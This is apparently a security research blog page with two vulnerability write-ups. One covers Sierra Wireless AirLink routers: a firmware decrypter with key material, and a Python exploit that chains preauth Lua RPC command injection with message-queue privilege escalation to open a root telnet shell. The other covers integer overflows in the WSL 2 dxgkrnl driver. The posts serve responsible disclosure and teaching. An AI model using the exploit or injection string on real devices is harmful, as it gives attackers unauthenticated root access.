Thursday, September 17, 2020

No buffers harmed: Rooting Sierra Wireless AirLink devices through logic bugs

by Ruben Santamarta 

There are not many occasions when you can build a chain of exploits and not harm a single buffer, so it is interesting when you find yourself in one of those rare situations. As the title clearly indicates, this blog post will comprehensively describe the entire process that would allow a malicious actor to root Sierra
Wireless AirLink® devices. 

Let’s do this! 

A couple of years ago the guys at Talos did a great job and killed many bugs in AirLink devices. As usual, before buying a device I always analyze the firmware first in order to get an overall impression of what I may face. Sierra Wireless has a nice website where it is possible to download firmware, so I chose my target (the RV50) and proceeded.

Analyzing the Firmware

After unpacking the firmware, we are presented with the following list of files:
 

The first notable thing is that well-known image formats, such as ‘rootfs.sqfs.uboot’, ‘uImage.recovery’ or ‘zImage’ are detected as ‘data’ so there should be something going on. As expected, a quick look at those files shows that they are definitely encrypted. Hopefully the only ‘clean’ binary that is present in the firmware (‘swinstaller’) will help us to figure out the scheme.

encrypted firmware

As you can see, it seems that, as we initially guessed, the important files are all encrypted. So, the next step is to spend some time digging through a C++ binary to understand the encryption algorithm. Some of the strings clearly pointed to ‘libtomcrypt’ as the encryption library, which definitely will help to reconstruct some of the symbols and logic in order to facilitate this sometimes tedious task.

They are using AES CTR without any apparent hardcoded key or IV, so there should be some logic that generates them at runtime. After reverse engineering the binary, we can break the encryption scheme into two different items: the values needed to derive the IV and the key and process for deriving them. 

1. Values
There are two different values that are required to properly derive the IV and the key for AirLink devices:

1.1 Custom ‘seed
This 8-byte hardcoded value can be found in the ‘swinstaller’ binary, close to the ‘sha256’/’aes’ strings in most cases. 

 

          Please note that it may vary across devices and versions.
    
1.2 Custom ‘version

This value can be found in the ‘manifest.txt’ file and corresponds to the ‘ALEOS_VERSION’ value, highlighted in the image below.  

As in the previous case, it will obviously be different across versions.

2.    Deriving the IV/Key

This non-canonical simple pseudo-code can be used to get an overall idea behind the generation. 

a = "\x00"*32
b = version+seed 
copy(a, rounds_sha256(b), 32)
materials = rounds_sha256(a+b) 
iv = materials[0:31]
key = materials[32:63]

The full logic to decrypt AirLink firmware files has been implemented in following file:



// For research purposes only
// 
// Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) 
// @IOActiveLabs https://labs.ioactive.com
// 
// Dependencies: 
// libtomcrypt https://github.com/libtom
// 
// Compile
// $ gcc decrypter.c -o decrypter -Isrc/headers libtomcrypt.a
// 
// Example
// KEY is the ALEOS_VERSION at manifest.txt (manifest.txt!ALEOS_VERSION=KEY)
// $ ./decrypter -d KEY aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1

/* 
Example output for RV50 firmware - ALEOS_VERSION=4.13.0.017 

* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * 

- Initializing materials...
Hashing at keyBuff+32 for 18 bytes...
round 1
round 2
round 3
round 4

Copying 32 bytes from the hashed material to keyBuff

Now hashing the entire keyBuff [50 bytes]...
round 1
round 2
round 3
round 4

***=> IV:  "\x11\x5F\x24\x07\x50\x3C\x68\xD2\x28\x26\xBA\x18\x4B\x12\x54\xF1\x2C\x20\x36\x01\x45\x86\x42\x99\x05\x6D\x43\x3C\xC5\x80\xCA\x94"
***=> Key: "\x7D\x69\x78\x59\x55\x35\xF9\xAA\x4F\x8E\xBE\xE4\xE8\xD2\xEE\xFA\x86\x35\xD1\x6A\x58\x81\x53\x78\x6D\xFF\x2E\xB5\xBC\x88\x21\x11"

[+] Decrypting firmware to decrypted.bin...
[+] Done

*/


#include <tomcrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int errno;

typedef struct _product_key{
  unsigned char seed[8];
  char *name;
} product_key;


// SEED TABLE  (ALEOS VERSION 4.13.0.017)
// Extracted from the 'swinstaller' binary (different from product/version)

product_key seed_table[]={  
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","ES450"},
                            {"\x5D\x5C\xAA\x26\x2D\x0B\xDE\x5A","RV50"},
                            {"\xFB\x76\x0D\xCE\xC1\x2C\xC8\x16","LX60"},
                            {"\xCB\x4E\x4A\x5F\x07\x89\x0B\xDE","RV55"},
                            {"\x1C\xDF\x8D\x14\xB3\x61\xCF\x12","MP70"},
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","GX450"},
                            {0}
                          };


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5);
int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV);


int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV)
{

  unsigned char *keyBuff;
  unsigned char keyHash[64]={0};
  unsigned char ivHash[64]={0};
  

  size_t  retLen;
  size_t  keylen,totalen;
  int     result;


 
  printf("\n- Initializing materials...\n");


  *key = (unsigned char *)calloc(0x40,1);
  *IV = (unsigned char *)calloc(0x40,1);

  keylen = len;

  totalen = keylen + 40;

  keyBuff = (unsigned char*)calloc(totalen, 1);
  
  retLen = 32;

 
  // Copy key string "\x00"*32+key
  memcpy(keyBuff + 32, keyString, keylen);
  
  // Copy remaining materials "\x00"*32+key+seed
  memcpy(keyBuff + 32 + keylen, seed_table[product].seed, 8);

  printf("Hashing at keyBuff+32 for %lu bytes...\n",totalen - 32);
  result = generate_materials(  (keyBuff + 32),
                                totalen - 32,
                                keyHash,
                                (size_t*)&retLen,
                                5);

  

  printf("Copying 32 bytes from the hashed material to keyBuff\n");
  memcpy(keyBuff,keyHash, 0x20);

  retLen = 32;
 
  printf("\nNow hashing the entire keyBuff [%lu bytes]...\n",totalen);
  generate_materials(   keyBuff,
                        totalen,
                        ivHash,
                        (size_t*)&retLen,
                        5);


  
  memcpy(*IV,ivHash,0x20);
  memcpy(*key,keyHash,0x20);

  printf("***=> IV:  \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",ivHash[i]);
  }
  printf("\"\n");

  printf("***=> Key: \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",keyHash[i]);
  }
  printf("\"\n");
 return 1;

}


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5)
{
  int v5; 
  size_t *v7; 
  int v9; 
  int v10; 
  size_t n; 
  unsigned char *outBuff; 
  int v13; 
  int i; 
  int v15; 


  v9 = len;
  v7 = a4;

  outBuff = (unsigned char*)calloc(0x100,1);
  v13 = find_hash("sha256");
  n = 128;
  v15 = hash_memory(v13, inBuff, v9, outBuff, &n);
  if ( *v7 > n ){
    printf("Error hashing memory\n");
    exit(0);
  }
  memcpy(dest, outBuff, n);
  *v7 = n;
  for ( i = 1; i < a5 && !v15; ++i )
  {
    printf("round %d\n",i);
    v15 = hash_memory(v13, dest, *v7, outBuff, &n);
    memcpy(dest, outBuff, n);
    *v7 = n;
  }
  printf("\n");
  if ( v15 )
    v5 = -1;
  else
    v5 = 0;
  return v5;
}


int usage(char *name) 
{
   int x;

   printf("\nUsage: %s -d version cipher('aes') infile outfile chunk_size product(ID)\nSupported products:\n", name);
   for(x=0; seed_table[x].name != NULL; x++) {
      printf("ID: [%d] Description: %s\n",x, seed_table[x].name);
   }
   printf("\n$ ./decrypt -d 4.12.0.p31 aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1\n");
   exit(1);
}

void register_algs(void)
{   
  if (register_cipher (&aes_desc)){
      printf("Error registering AES\n");
      exit(-1);
   } 

  if (register_hash(&sha256_desc) == -1) {
      printf("Error registering SHA256\n");
      exit(-1);
   } 
}

int main(int argc, char *argv[]) 
{
   unsigned char *plaintext,*ciphertext;
   unsigned char *inbuf; 
   size_t n, decrypt;
   symmetric_CTR ctr;
   int cipher_idx, hash_idx;
   char *infile, *outfile, *cipher;
   FILE *fdin, *fdout;
   size_t amount;
   unsigned char *cKey;
   unsigned char *cIV;

   if (argc < 7) {
      return usage(argv[0]);
   }

  register_algs();

  inbuf = (unsigned char*)calloc(8192,1);
  cipher  = argv[3];
  infile  = argv[4];
  outfile = argv[5];
  amount = atoi(argv[6]);
   
   if (!strcmp(argv[1], "-d")) {
      plaintext = (unsigned char*)calloc(8192,1);
      decrypt = 1;     
   } else {
      printf("\n[!] decryption only");
      exit(0);
   }
 
   printf("\n* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * \n");

   init_keys( argv[2], strlen(argv[2]), atoi(argv[7]), &cKey, &cIV );
   
    
   fdin = fopen(infile,"rb");
   if (fdin == NULL) {
      perror("Can't open input for reading");
      exit(-1);
   }

   fdout = fopen(outfile,"wb");
   if (fdout == NULL) { 
      perror("Can't open output for writing");
      exit(-1);
   }
 
   cipher_idx = find_cipher(cipher);
   if (cipher_idx == -1) {
      printf("Invalid cipher entered on command line.\n");
      exit(-1);
   }

   
   if (decrypt) {
      
      
      if ((errno = ctr_start(cipher_idx,
                              cIV,
                              cKey,
                              32,
                              0,
                              CTR_COUNTER_LITTLE_ENDIAN,&ctr)) != CRYPT_OK) {
         printf("ctr_start error: %s\n",error_to_string(errno));
         exit(-1);
      }

     
      printf("\n[+] Decrypting firmware to %s...",outfile);

      do {

         n = fread(inbuf,1,amount,fdin);
          
         if ((errno = ctr_decrypt(inbuf,plaintext,n,&ctr)) != CRYPT_OK) {
            printf("ctr_decrypt error: %s\n", error_to_string(errno));
            exit(-1);
         }

         if (fwrite(plaintext,1,n,fdout) != n) {
            printf("Error writing to file.\n");
            exit(-1);
         }
        
      } while (n == amount);

      printf("\n[+] Done\n");
     
   } 

   fclose(fdin);
   fclose(fdout);
   return 0;
}

At this point, it is possible to decrypt all of the files, including the filesystem image, so we can start hunting. 

Remote Command Injection - Preauth -

Initial analysis showed that the main web interface looks solid enough after all those killed bugs. I decided to take a look at one of the main features of these AirLink devices: the ALEOS Application Framework (AAF). 



It is worth mentioning that this set of features is not enabled by default, so the administrator needs to enable AAF through the web interface. Once it has been activated, this framework will extend the regular capabilities of these devices, allowing external developers to create their own embedded applications. From the device perspective this has mainly been implemented using LUA, so I decided to take a look at the code (‘/usr/readyagent/lua’ folder). There was something that immediately got my attention: when AAF is enabled, a custom LUA RPC scheduler is exposed at LAN_IP:1999/TCP.

     
File: ‘/usr/readyagent/lua/rpc/sched.lua


Following the code, we find that this RPC server deserializes arbitrary function names and arguments, which may be attacker controllable.  

 

File: ‘/usr/readyagent/lua/rpc/sched.lua’ 

The first request (line 55) receives ‘t’,‘seqnum’ and the number of bytes of serialized data to be received from the client. Then, at line 162, our data will be deserialized using ‘luatobin’ format. 

File: ‘/usr/readyagent/lua/rpc/proxy.lua’

 These values will be handled by ‘common.execute,’ which allows any function to be executed.

File: ‘/usr/readyagent/lua/rpc/common.lua’

A malicious actor can leverage this vulnerability to invoke arbitrary LUA functions, such as ‘os.execute’. As a result, an attacker on a network adjacent to an AirLink device (with AAF enabled), will gain the ability to execute arbitrary commands under the privilege of the ‘rauser’ account.

Local Privilege Escalation to Root

At this point I could execute arbitrary commands without requiring any authentication, but ‘rauser’ is still a low-privileged account. The next step was to find a way to escalate privileges to root. 

The main web interface is not running as root, but still we can update the firmware, reboot the device, etc., so there should be some logic that allows these ‘root’ operations to be requested from a different privilege level. By reverse engineering the different binaries involved, I eventually found the IPC mechanism: a message queue called ‘/urmG’ 

File: ‘/lib/libSWIALEOS41.so.1.0

Any process can access this message queue:

-rw-rw-rw-    1 root     0               80 Sep  9 00:34 urmG

Basically, the root process ‘/usr/sbin/UpdateRebootMgr’ reads a message from this queue that contains the action that has to be performed on the requester’s behalf.  Depending on the action, ‘UpdateRebootMgr’ will run the binary in charge of that action, while also passing the command line received from the low-privileged process through the message queue. 

For instance, ‘RequestUpdate’ is a binary that sends messages to the ‘UpdateRebootMgr’ root process through the ‘/urmG’ message queue. When ‘UpdateRebootMgr’ processes a certain message, it will invoke ‘FW_UPLOAD_CMD’ using the command line passed in the ‘-o’ argument.

File: ‘/usr/sbin/atfw_rm_update
RequestUpdate -c aleos -o "--aleos $LOCAL_FW" –w

Pay attention to this sequence:

1. File: ‘/usr/sbin/UpdateRebootMgr

2. File: ‘/usr/sbin/libSWIALEOS41.so.1

3. File: ‘/usr/sbin/UpdateRebootMgr


 
This looks promising. Let’s see what is inside ‘ALEOS:swsystemtools::runSystem.

File: ‘/lib/libswsystemtools.so

 
ALEOS::swsystemtools::isSafeString’ looks like the kind of function that should prevent this injection from happening; however, it fails because when the first character is a ‘-‘ it is possible to bypass the ‘find_first_of’ check, which would detect some command injection characters.



 
As a result, it is possible to perform a classic command injection through the ‘/urmG’ message queue to escalate privileges to root. 

We can use the ‘RequestUpdate’ binary as a PoC:

$ RequestUpdate -c aleos -o "--aleos /tmp/whatever | /bin/busybox telnetd -l/bin/sh -p31337"

An exploit would be as follows:

File: ‘exploit.py’

#!/usr/bin/env python

import socket


TCP_IP = '192.168.13.31'
TCP_PORT = 1999
BUFFER_SIZE = 1024
MESSAGE1 = "\x00\x01\x00\x00\x00\x7C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE1)
s.send("\x04\x00\x0A"+"os.execute"+"\x04\x00\x60"+"/tmp/RequestUpdate -c aleos -o \"--aleos /tmp/pun|/bin/busybox telnetd -l/bin/sh -p31337\""+"\x00"*26)

data = s.recv(BUFFER_SIZE)
s.close()

print "received data:", repr(data)

Impact

This chain of exploits can be used from an adjacent network to get root access without requiring any authentication on any AirLink device that has AAF enabled. This is not the default option, so the attack is mitigated in that sense.

There are some security boundaries these vulnerabilities break in a Sierra Wireless AirLink device:
  1. According to the documentation, the ‘root’ user is proprietary to Sierra Wireless.
  2. The main firmware file is signed and  certain key files in the package are encrypted. This attack allows malicious firmware to be installed on the device, thus gaining persistence.
  3. There is an interesting feature, although it is unlikely to be exploited. AirLink customers can temporarily enable a remote support option. This adds a hardcoded root hash to ‘/etc/shadow’ and seems to be identical across devices. A rooted AirLink device might be used to trick Sierra Wireless support staff into remotely connecting to the device to capture the password.
Conclusion

IOActive notified Sierra Wireless about these vulnerabilities in January 2020, which resulted in the following advisories:
-----

Sierra Wireless thanks IOActive for the responsible disclosure of these vulnerabilities.

In current versions of ALEOS, the RPC server is enabled only when the AAF user password is defined.

Sierra Wireless recommends that customers enable the AAF user only for devices that are being used for AAF development and debugging. The AAF user is not required for AAF applications to be deployed and run.

Deployed devices must not have the AAF user password enabled.

Sierra Wireless recommends upgrading to the latest ALEOS version for your gateway. For devices running ALEOS 4.13 today, Sierra Wireless recommends upgrading to ALEOS 4.14.0 once it is available.


We greatly appreciate the collaborative communication with Sierra Wireless during this process.





Friday, September 11, 2020

WSL 2.0 dxgkrnl Driver Memory Corruption

*by Joseph Tartaro*
The year 2020 has been a disaster of biblical proportions. Old Testament, real wrath of God type stuff. Fire and brimstone coming down from the skies! Rivers and seas boiling! Forty years of darkness, earthquakes, volcanoes, the dead rising from the grave! Human sacrifices, dogs and cats living together...mass hysteria and reporting Linux kernel bugs to Microsoft!? I thought I would write up a quick blog post explaining the following tweet and walk through a memory corruption flaw reported to MSRC that was recently fixed.
Back in May, before Alex Ionescu briefly disappeared from the Twitter-verse causing a reactionary slew of conspiracy theories, he sent out this tweet calling out the dxgkrnl driver. That evening it was brought to my attention by my buddy Ilja van Sprundel. Ilja has done a lot of driver research over the years, some involving Windows kernel graphics drivers. The announcement of dxgkrnl was exciting and piqued our interest regarding the new attack surface it opens up. So we decided to quickly dive into it and race to find bugs. When examining kernel drivers the first thing I head to are the IOCTL (Input/Output Control) handlers. IOCTL handlers allow users to communicate with the driver via the ioctl syscall. This is a prime attack surface because the driver is going to be handling userland-provided data within kernel space. Looking into drivers/gpu/dxgkrnl/ioctl.c the following function is at the bottom, showing us a full list of the IOCTL handlers that we want to analyze.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
void ioctl_desc_init(void)
{
    memset(ioctls, 0, sizeof(ioctls));
    SET_IOCTL(/*0x1 */ dxgk_open_adapter_from_luid,
          LX_DXOPENADAPTERFROMLUID);
    SET_IOCTL(/*0x2 */ dxgk_create_device,
          LX_DXCREATEDEVICE);
    SET_IOCTL(/*0x3 */ dxgk_create_context,
          LX_DXCREATECONTEXT);
    SET_IOCTL(/*0x4 */ dxgk_create_context_virtual,
          LX_DXCREATECONTEXTVIRTUAL);
    SET_IOCTL(/*0x5 */ dxgk_destroy_context,
          LX_DXDESTROYCONTEXT);
    SET_IOCTL(/*0x6 */ dxgk_create_allocation,
          LX_DXCREATEALLOCATION);
    SET_IOCTL(/*0x7 */ dxgk_create_paging_queue,
          LX_DXCREATEPAGINGQUEUE);
    SET_IOCTL(/*0x8 */ dxgk_reserve_gpu_va,
          LX_DXRESERVEGPUVIRTUALADDRESS);
    SET_IOCTL(/*0x9 */ dxgk_query_adapter_info,
          LX_DXQUERYADAPTERINFO);
    SET_IOCTL(/*0xa */ dxgk_query_vidmem_info,
          LX_DXQUERYVIDEOMEMORYINFO);
    SET_IOCTL(/*0xb */ dxgk_make_resident,
          LX_DXMAKERESIDENT);
    SET_IOCTL(/*0xc */ dxgk_map_gpu_va,
          LX_DXMAPGPUVIRTUALADDRESS);
    SET_IOCTL(/*0xd */ dxgk_escape,
          LX_DXESCAPE);
    SET_IOCTL(/*0xe */ dxgk_get_device_state,
          LX_DXGETDEVICESTATE);
    SET_IOCTL(/*0xf */ dxgk_submit_command,
          LX_DXSUBMITCOMMAND);
    SET_IOCTL(/*0x10 */ dxgk_create_sync_object,
          LX_DXCREATESYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x11 */ dxgk_signal_sync_object,
          LX_DXSIGNALSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x12 */ dxgk_wait_sync_object,
          LX_DXWAITFORSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x13 */ dxgk_destroy_allocation,
          LX_DXDESTROYALLOCATION2);
    SET_IOCTL(/*0x14 */ dxgk_enum_adapters,
          LX_DXENUMADAPTERS2);
    SET_IOCTL(/*0x15 */ dxgk_close_adapter,
          LX_DXCLOSEADAPTER);
    SET_IOCTL(/*0x16 */ dxgk_change_vidmem_reservation,
          LX_DXCHANGEVIDEOMEMORYRESERVATION);
    SET_IOCTL(/*0x17 */ dxgk_create_hwcontext,
          LX_DXCREATEHWCONTEXT);
    SET_IOCTL(/*0x18 */ dxgk_create_hwqueue,
          LX_DXCREATEHWQUEUE);
    SET_IOCTL(/*0x19 */ dxgk_destroy_device,
          LX_DXDESTROYDEVICE);
    SET_IOCTL(/*0x1a */ dxgk_destroy_hwcontext,
          LX_DXDESTROYHWCONTEXT);
    SET_IOCTL(/*0x1b */ dxgk_destroy_hwqueue,
          LX_DXDESTROYHWQUEUE);
    SET_IOCTL(/*0x1c */ dxgk_destroy_paging_queue,
          LX_DXDESTROYPAGINGQUEUE);
    SET_IOCTL(/*0x1d */ dxgk_destroy_sync_object,
          LX_DXDESTROYSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x1e */ dxgk_evict,
          LX_DXEVICT);
    SET_IOCTL(/*0x1f */ dxgk_flush_heap_transitions,
          LX_DXFLUSHHEAPTRANSITIONS);
    SET_IOCTL(/*0x20 */ dxgk_free_gpu_va,
          LX_DXFREEGPUVIRTUALADDRESS);
    SET_IOCTL(/*0x21 */ dxgk_get_context_process_scheduling_priority,
          LX_DXGETCONTEXTINPROCESSSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x22 */ dxgk_get_context_scheduling_priority,
          LX_DXGETCONTEXTSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x23 */ dxgk_get_shared_resource_adapter_luid,
          LX_DXGETSHAREDRESOURCEADAPTERLUID);
    SET_IOCTL(/*0x24 */ dxgk_invalidate_cache,
          LX_DXINVALIDATECACHE);
    SET_IOCTL(/*0x25 */ dxgk_lock2,
          LX_DXLOCK2);
    SET_IOCTL(/*0x26 */ dxgk_mark_device_as_error,
          LX_DXMARKDEVICEASERROR);
    SET_IOCTL(/*0x27 */ dxgk_offer_allocations,
          LX_DXOFFERALLOCATIONS);
    SET_IOCTL(/*0x28 */ dxgk_open_resource,
          LX_DXOPENRESOURCE);
    SET_IOCTL(/*0x29 */ dxgk_open_sync_object,
          LX_DXOPENSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x2a */ dxgk_query_alloc_residency,
          LX_DXQUERYALLOCATIONRESIDENCY);
    SET_IOCTL(/*0x2b */ dxgk_query_resource_info,
          LX_DXQUERYRESOURCEINFO);
    SET_IOCTL(/*0x2c */ dxgk_reclaim_allocations,
          LX_DXRECLAIMALLOCATIONS2);
    SET_IOCTL(/*0x2d */ dxgk_render,
          LX_DXRENDER);
    SET_IOCTL(/*0x2e */ dxgk_set_allocation_priority,
          LX_DXSETALLOCATIONPRIORITY);
    SET_IOCTL(/*0x2f */ dxgk_set_context_process_scheduling_priority,
          LX_DXSETCONTEXTINPROCESSSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x30 */ dxgk_set_context_scheduling_priority,
          LX_DXSETCONTEXTSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x31 */ dxgk_signal_sync_object_cpu,
          LX_DXSIGNALSYNCHRONIZATIONOBJECTFROMCPU);
    SET_IOCTL(/*0x32 */ dxgk_signal_sync_object_gpu,
          LX_DXSIGNALSYNCHRONIZATIONOBJECTFROMGPU);
    SET_IOCTL(/*0x33 */ dxgk_signal_sync_object_gpu2,
          LX_DXSIGNALSYNCHRONIZATIONOBJECTFROMGPU2);
    SET_IOCTL(/*0x34 */ dxgk_submit_command_to_hwqueue,
          LX_DXSUBMITCOMMANDTOHWQUEUE);
    SET_IOCTL(/*0x35 */ dxgk_submit_wait_to_hwqueue,
          LX_DXSUBMITWAITFORSYNCOBJECTSTOHWQUEUE);
    SET_IOCTL(/*0x36 */ dxgk_submit_signal_to_hwqueue,
          LX_DXSUBMITSIGNALSYNCOBJECTSTOHWQUEUE);
    SET_IOCTL(/*0x37 */ dxgk_unlock2,
          LX_DXUNLOCK2);
    SET_IOCTL(/*0x38 */ dxgk_update_alloc_property,
          LX_DXUPDATEALLOCPROPERTY);
    SET_IOCTL(/*0x39 */ dxgk_update_gpu_va,
          LX_DXUPDATEGPUVIRTUALADDRESS);
    SET_IOCTL(/*0x3a */ dxgk_wait_sync_object_cpu,
          LX_DXWAITFORSYNCHRONIZATIONOBJECTFROMCPU);
    SET_IOCTL(/*0x3b */ dxgk_wait_sync_object_gpu,
          LX_DXWAITFORSYNCHRONIZATIONOBJECTFROMGPU);
    SET_IOCTL(/*0x3c */ dxgk_get_allocation_priority,
          LX_DXGETALLOCATIONPRIORITY);
    SET_IOCTL(/*0x3d */ dxgk_query_clock_calibration,
          LX_DXQUERYCLOCKCALIBRATION);
    SET_IOCTL(/*0x3e */ dxgk_enum_adapters3,
          LX_DXENUMADAPTERS3);
    SET_IOCTL(/*0x3f */ dxgk_share_objects,
          LX_DXSHAREOBJECTS);
    SET_IOCTL(/*0x40 */ dxgk_open_sync_object_nt,
          LX_DXOPENSYNCOBJECTFROMNTHANDLE2);
    SET_IOCTL(/*0x41 */ dxgk_query_resource_info_nt,
          LX_DXQUERYRESOURCEINFOFROMNTHANDLE);
    SET_IOCTL(/*0x42 */ dxgk_open_resource_nt,
          LX_DXOPENRESOURCEFROMNTHANDLE);
}


When working through this list of functions, I eventually stumbled into dxgk_signal_sync_object_cpu which has immediate red flags. We can see that data is copied from userland into kernel space via dxg_copy_from_user() in the form of the structure d3dkmt_signalsynchronizationobjectfromcpu and the data is passed as various arguments to dxgvmb_send_signal_sync_object().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct d3dkmt_signalsynchronizationobjectfromcpu {
    d3dkmt_handle device;
    uint object_count;
    d3dkmt_handle *objects;
    uint64_t  *fence_values;
    struct d3dddicb_signalflags flags;
};

static int dxgk_signal_sync_object_cpu(struct dxgprocess *process,
                       void *__user inargs)
{
    struct d3dkmt_signalsynchronizationobjectfromcpu args;
    struct dxgdevice *device = NULL;
    struct dxgadapter *adapter = NULL;
    int ret = 0;

    TRACE_FUNC_ENTER(__func__);

    ret = dxg_copy_from_user(&args, inargs, sizeof(args));  // User controlled data copied into args
    if (ret)
        goto cleanup;

    device = dxgprocess_device_by_handle(process, args.device);
    if (device == NULL) {
        ret = STATUS_INVALID_PARAMETER;
        goto cleanup;
    }

    adapter = device->adapter;
    ret = dxgadapter_acquire_lock_shared(adapter);
    if (ret) {
        adapter = NULL;
        goto cleanup;
    }

    ret = dxgvmb_send_signal_sync_object(process, &adapter->channel,        // User controlled data passed as arguments
                         args.flags, 0, 0,                              // specific interest args.object_count
                         args.object_count, args.objects, 0,
                         NULL, args.object_count,
                         args.fence_values, NULL,
                         args.device);

cleanup:

    if (adapter)
        dxgadapter_release_lock_shared(adapter);
    if (device)
        dxgdevice_release_reference(device);

    TRACE_FUNC_EXIT(__func__, ret);
    return ret;
}


The IOCTL handler dxgk_signal_sync_object_cpu lacked input validation of user-controlled data. The user passes a d3dkmt_signalsynchronizationobjectfromcpu structure which contains a uint value for object_count. Moving deeper into the code, in dxgvmb_send_signal_sync_object (drivers/gpu/dxgkrnl/dxgvmbus.c), we know that we control the following arguments at this moment and there's been zero validation:
* args.flags (flags)
* args.object_count (object_count, fence_count)
* args.objects (objects)
* args.fence_values (fences)
* args.device (device)
An interesting note is that args.object_count is being used for both the object_count and fence_count. Generally a count is used to calculate length, so it's important to keep an eye out for counts that you control. You're about to witness some extremely trivial bugs. If you're inexperienced at auditing C code for vulnerabilities, see how many issues you can spot before reading the explanations below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int dxgvmb_send_signal_sync_object(struct dxgprocess *process,
                   struct dxgvmbuschannel *channel,
                   struct d3dddicb_signalflags flags,
                   uint64_t legacy_fence_value,
                   d3dkmt_handle context,
                   uint object_count,
                   d3dkmt_handle __user *objects,
                   uint context_count,
                   d3dkmt_handle __user *contexts,
                   uint fence_count,
                   uint64_t __user *fences,
                   struct eventfd_ctx *cpu_event_handle,
                   d3dkmt_handle device)
{
    int ret = 0;
    struct dxgkvmb_command_signalsyncobject *command = NULL;
    uint object_size = object_count * sizeof(d3dkmt_handle);            
    uint context_size = context_count * sizeof(d3dkmt_handle);          
    uint fence_size = fences ? fence_count * sizeof(uint64_t) : 0;      
    uint8_t *current_pos;
    uint cmd_size = sizeof(struct dxgkvmb_command_signalsyncobject) +
        object_size + context_size + fence_size;

    if (context)
        cmd_size += sizeof(d3dkmt_handle);                              

    command = dxgmem_alloc(process, DXGMEM_VMBUS, cmd_size);
    if (command == NULL) {
        ret = STATUS_NO_MEMORY;
        goto cleanup;
    }

    command_vgpu_to_host_init2(&command->hdr,                     
                   DXGK_VMBCOMMAND_SIGNALSYNCOBJECT,
                   process->host_handle);

    if (flags.enqueue_cpu_event)
        command->cpu_event_handle = (winhandle) cpu_event_handle; 
    else
        command->device = device;                                     
    command->flags = flags;                                             
    command->fence_value = legacy_fence_value;                          
    command->object_count = object_count;                               
    command->context_count = context_count;                             
    current_pos = (uint8_t *) &command[1];
    ret = dxg_copy_from_user(current_pos, objects, object_size);        
    if (ret) {
        pr_err("Failed to read objects %p %d",
               objects, object_size);
        goto cleanup;
    }
    current_pos += object_size;
    if (context) {
        command->context_count++;
        *(d3dkmt_handle *) current_pos = context;
        current_pos += sizeof(d3dkmt_handle);
    }
    if (context_size) {
        ret = dxg_copy_from_user(current_pos, contexts, context_size);
        if (ret) {
            pr_err("Failed to read contexts %p %d",
                   contexts, context_size);
            goto cleanup;
        }
        current_pos += context_size;
    }
    if (fence_size) {
        ret = dxg_copy_from_user(current_pos, fences, fence_size);
        if (ret) {
            pr_err("Failed to read fences %p %d",
                   fences, fence_size);
            goto cleanup;
        }
    }

    ret = dxgvmb_send_sync_msg_ntstatus(channel, command, cmd_size);

cleanup:
    if (command)
        dxgmem_free(process, DXGMEM_VMBUS, command);
    TRACE_FUNC_EXIT_ERR(__func__, ret);
    return ret;
}


This count that we control is used in multiple locations throughout the IOCTL for buffer length calculations without validation. This leads to multiple integer overflows, followed by an allocation that is too short which causes memory corruption.

**Integer overflows:**
17) Our controlled value *object_count* is used to calculate *object_size*

19) Our controlled value *fence_count* is used to calculate *fence_size*

21) The final result of *cmd_size* is calculated using the previous *object_size* and *fence_size* values

25) *cmd_size* could simply overflow from adding the size of *d3dkmt_handle* if it were large enough

**Memory corruption:**
27) The result of *cmd_size* is ultimately used as a length calculation for *dxgmem_alloc*. As an attacker, we can force this to be very small.

Since our new allocated buffer *command* can be extremely small, the following execution that writes to it could cause memory corruption.

33-44) These are all writing data to what is pointing at the buffer, and depending on the size we force there's no guarantee that there is space for the data.

